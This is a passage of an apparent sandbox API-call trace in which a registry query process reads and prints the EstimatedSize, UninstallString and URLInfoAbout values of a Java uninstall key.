4 [0149.434] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.434] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.434] __iob_func () returned 0x7fefd702a80 [0149.434] _fileno (_File=0x7fefd702ab0) returned 1 [0149.434] _errno () returned 0x204bb0 [0149.434] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.434] _errno () returned 0x204bb0 [0149.434] GetFileType (hFile=0x50) returned 0x1 [0149.434] lstrlenW (lpString="REG_SZ") returned 6 [0149.434] GetConsoleOutputCP () returned 0x1b5 [0149.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.434] GetConsoleOutputCP () returned 0x1b5 [0149.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.434] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.434] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.434] __iob_func () returned 0x7fefd702a80 [0149.434] _fileno (_File=0x7fefd702ab0) returned 1 [0149.434] _errno () returned 0x204bb0 [0149.434] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.435] _errno () returned 0x204bb0 [0149.435] GetFileType (hFile=0x50) returned 0x1 [0149.435] lstrlenW (lpString=" ") returned 4 [0149.435] GetConsoleOutputCP () returned 0x1b5 [0149.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.435] GetConsoleOutputCP () returned 0x1b5 [0149.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.435] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.435] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.435] __iob_func () returned 0x7fefd702a80 [0149.435] _fileno (_File=0x7fefd702ab0) returned 1 [0149.435] _errno () returned 0x204bb0 [0149.435] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.435] _errno () returned 0x204bb0 [0149.435] GetFileType (hFile=0x50) returned 0x1 [0149.435] lstrlenW (lpString="") returned 0 [0149.435] __iob_func () returned 0x7fefd702a80 [0149.435] _fileno (_File=0x7fefd702ab0) returned 1 [0149.435] _errno () returned 0x204bb0 [0149.435] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.435] _errno () returned 0x204bb0 [0149.435] GetFileType (hFile=0x50) returned 0x1 [0149.435] lstrlenW (lpString="\n") returned 1 [0149.435] GetConsoleOutputCP () returned 0x1b5 [0149.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.435] GetConsoleOutputCP () returned 0x1b5 [0149.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.436] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.436] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.436] GetProcessHeap () returned 0x3c0000 [0149.436] GetProcessHeap () returned 0x3c0000 [0149.436] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.436] GetProcessHeap () returned 0x3c0000 [0149.436] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.436] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.436] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.436] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.436] GetProcessHeap () returned 0x3c0000 [0149.436] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.436] GetProcessHeap () returned 0x3c0000 [0149.436] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.436] GetProcessHeap () returned 0x3c0000 [0149.436] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.436] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1e2bf, pcbData=0x29f780*=0x4) returned 0x0 [0149.436] __iob_func () returned 0x7fefd702a80 [0149.436] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.436] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.436] _fileno (_File=0x7fefd702ab0) returned 1 [0149.436] _errno () returned 0x204bb0 [0149.436] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.436] _errno () returned 0x204bb0 [0149.436] GetFileType (hFile=0x50) returned 0x1 [0149.436] lstrlenW (lpString=" ") returned 4 [0149.436] GetConsoleOutputCP () returned 0x1b5 [0149.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.437] GetConsoleOutputCP () returned 0x1b5 [0149.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.437] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.437] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.437] lstrlenW (lpString="EstimatedSize") returned 13 [0149.437] __iob_func () returned 0x7fefd702a80 [0149.437] _fileno (_File=0x7fefd702ab0) returned 1 [0149.437] _errno () returned 0x204bb0 [0149.437] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.437] _errno () returned 0x204bb0 [0149.437] GetFileType (hFile=0x50) returned 0x1 [0149.437] lstrlenW (lpString="EstimatedSize") returned 13 [0149.437] GetConsoleOutputCP () returned 0x1b5 [0149.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.437] GetConsoleOutputCP () returned 0x1b5 [0149.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0149.437] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.437] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.437] __iob_func () returned 0x7fefd702a80 [0149.437] _fileno (_File=0x7fefd702ab0) returned 1 [0149.437] _errno () returned 0x204bb0 [0149.437] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.438] _errno () returned 0x204bb0 [0149.438] GetFileType (hFile=0x50) returned 0x1 [0149.438] lstrlenW (lpString=" ") returned 4 [0149.438] GetConsoleOutputCP () returned 0x1b5 [0149.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.438] GetConsoleOutputCP () returned 0x1b5 [0149.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.438] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.438] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.438] __iob_func () returned 0x7fefd702a80 [0149.438] _fileno (_File=0x7fefd702ab0) returned 1 [0149.438] _errno () returned 0x204bb0 [0149.438] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.438] _errno () returned 0x204bb0 [0149.438] GetFileType (hFile=0x50) returned 0x1 [0149.438] lstrlenW (lpString="REG_DWORD") returned 9 [0149.438] GetConsoleOutputCP () returned 0x1b5 [0149.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.438] GetConsoleOutputCP () returned 0x1b5 [0149.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.438] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.439] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.439] __iob_func () returned 0x7fefd702a80 [0149.439] _fileno (_File=0x7fefd702ab0) returned 1 [0149.439] _errno () returned 0x204bb0 [0149.439] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.439] _errno () returned 0x204bb0 [0149.439] GetFileType (hFile=0x50) returned 0x1 [0149.439] lstrlenW (lpString=" ") returned 4 [0149.439] GetConsoleOutputCP () returned 0x1b5 [0149.439] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.439] GetConsoleOutputCP () returned 0x1b5 [0149.439] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.439] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.439] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.439] __iob_func () returned 0x7fefd702a80 [0149.439] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.439] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1e2bf") returned 7 [0149.439] _fileno (_File=0x7fefd702ab0) returned 1 [0149.439] _errno () returned 0x204bb0 [0149.439] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.439] _errno () returned 0x204bb0 [0149.439] GetFileType (hFile=0x50) returned 0x1 [0149.439] lstrlenW (lpString="0x1e2bf") returned 7 [0149.439] GetConsoleOutputCP () returned 0x1b5 [0149.439] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1e2bf", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.440] GetConsoleOutputCP () returned 0x1b5 [0149.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1e2bf", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1e2bf", lpUsedDefaultChar=0x0) returned 7 [0149.440] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.440] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.440] __iob_func () returned 0x7fefd702a80 [0149.440] _fileno (_File=0x7fefd702ab0) returned 1 [0149.440] _errno () returned 0x204bb0 [0149.440] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.440] _errno () returned 0x204bb0 [0149.440] GetFileType (hFile=0x50) returned 0x1 [0149.440] lstrlenW (lpString="\n") returned 1 [0149.440] GetConsoleOutputCP () returned 0x1b5 [0149.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.440] GetConsoleOutputCP () returned 0x1b5 [0149.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.440] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.440] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.440] GetProcessHeap () returned 0x3c0000 [0149.441] GetProcessHeap () returned 0x3c0000 [0149.441] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.441] GetProcessHeap () returned 0x3c0000 [0149.441] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.441] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.441] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.441] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0149.441] GetProcessHeap () returned 0x3c0000 [0149.441] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0149.441] GetProcessHeap () returned 0x3c0000 [0149.441] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.441] GetProcessHeap () returned 0x3c0000 [0149.441] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.441] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}", pcbData=0x29f780*=0x6a) returned 0x0 [0149.441] __iob_func () returned 0x7fefd702a80 [0149.441] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.441] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.441] _fileno (_File=0x7fefd702ab0) returned 1 [0149.441] _errno () returned 0x204bb0 [0149.441] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.441] _errno () returned 0x204bb0 [0149.441] GetFileType (hFile=0x50) returned 0x1 [0149.441] lstrlenW (lpString=" ") returned 4 [0149.441] GetConsoleOutputCP () returned 0x1b5 [0149.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.441] GetConsoleOutputCP () returned 0x1b5 [0149.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.442] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.442] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.442] lstrlenW (lpString="UninstallString") returned 15 [0149.442] __iob_func () returned 0x7fefd702a80 [0149.442] _fileno (_File=0x7fefd702ab0) returned 1 [0149.442] _errno () returned 0x204bb0 [0149.442] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.442] _errno () returned 0x204bb0 [0149.442] GetFileType (hFile=0x50) returned 0x1 [0149.442] lstrlenW (lpString="UninstallString") returned 15 [0149.442] GetConsoleOutputCP () returned 0x1b5 [0149.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.442] GetConsoleOutputCP () returned 0x1b5 [0149.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0149.442] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.442] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.442] __iob_func () returned 0x7fefd702a80 [0149.442] _fileno (_File=0x7fefd702ab0) returned 1 [0149.442] _errno () returned 0x204bb0 [0149.442] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.442] _errno () returned 0x204bb0 [0149.442] GetFileType (hFile=0x50) returned 0x1 [0149.442] lstrlenW (lpString=" ") returned 4 [0149.442] GetConsoleOutputCP () returned 0x1b5 [0149.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.443] GetConsoleOutputCP () returned 0x1b5 [0149.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.443] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.443] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.443] __iob_func () returned 0x7fefd702a80 [0149.443] _fileno (_File=0x7fefd702ab0) returned 1 [0149.443] _errno () returned 0x204bb0 [0149.443] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.443] _errno () returned 0x204bb0 [0149.443] GetFileType (hFile=0x50) returned 0x1 [0149.443] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.443] GetConsoleOutputCP () returned 0x1b5 [0149.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.443] GetConsoleOutputCP () returned 0x1b5 [0149.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.443] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.443] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.443] __iob_func () returned 0x7fefd702a80 [0149.443] _fileno (_File=0x7fefd702ab0) returned 1 [0149.443] _errno () returned 0x204bb0 [0149.443] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.444] _errno () returned 0x204bb0 [0149.444] GetFileType (hFile=0x50) returned 0x1 [0149.444] lstrlenW (lpString=" ") returned 4 [0149.444] GetConsoleOutputCP () returned 0x1b5 [0149.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.444] GetConsoleOutputCP () returned 0x1b5 [0149.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.444] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.444] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.444] __iob_func () returned 0x7fefd702a80 [0149.444] _fileno (_File=0x7fefd702ab0) returned 1 [0149.444] _errno () returned 0x204bb0 [0149.444] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.444] _errno () returned 0x204bb0 [0149.444] GetFileType (hFile=0x50) returned 0x1 [0149.444] lstrlenW (lpString="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}") returned 52 [0149.444] GetConsoleOutputCP () returned 0x1b5 [0149.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0149.444] GetConsoleOutputCP () returned 0x1b5 [0149.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}", lpUsedDefaultChar=0x0) returned 52 [0149.445] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0149.445] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.445] __iob_func () returned 0x7fefd702a80 [0149.445] _fileno (_File=0x7fefd702ab0) returned 1 [0149.445] _errno () returned 0x204bb0 [0149.445] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.445] _errno () returned 0x204bb0 [0149.445] GetFileType (hFile=0x50) returned 0x1 [0149.445] lstrlenW (lpString="\n") returned 1 [0149.445] GetConsoleOutputCP () returned 0x1b5 [0149.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.445] GetConsoleOutputCP () returned 0x1b5 [0149.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.445] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.445] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.445] GetProcessHeap () returned 0x3c0000 [0149.445] GetProcessHeap () returned 0x3c0000 [0149.445] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.445] GetProcessHeap () returned 0x3c0000 [0149.445] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.445] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.445] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.446] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x22) returned 0x0 [0149.446] GetProcessHeap () returned 0x3c0000 [0149.446] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x24) returned 0x3d5c60 [0149.446] GetProcessHeap () returned 0x3c0000 [0149.446] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.446] GetProcessHeap () returned 0x3c0000 [0149.446] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x24 [0149.446] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x22 | out: pdwType=0x29f700*=0x1, pvData="http://java.com", pcbData=0x29f780*=0x20) returned 0x0 [0149.446] __iob_func () returned 0x7fefd702a80 [0149.446] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.446] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.446] _fileno 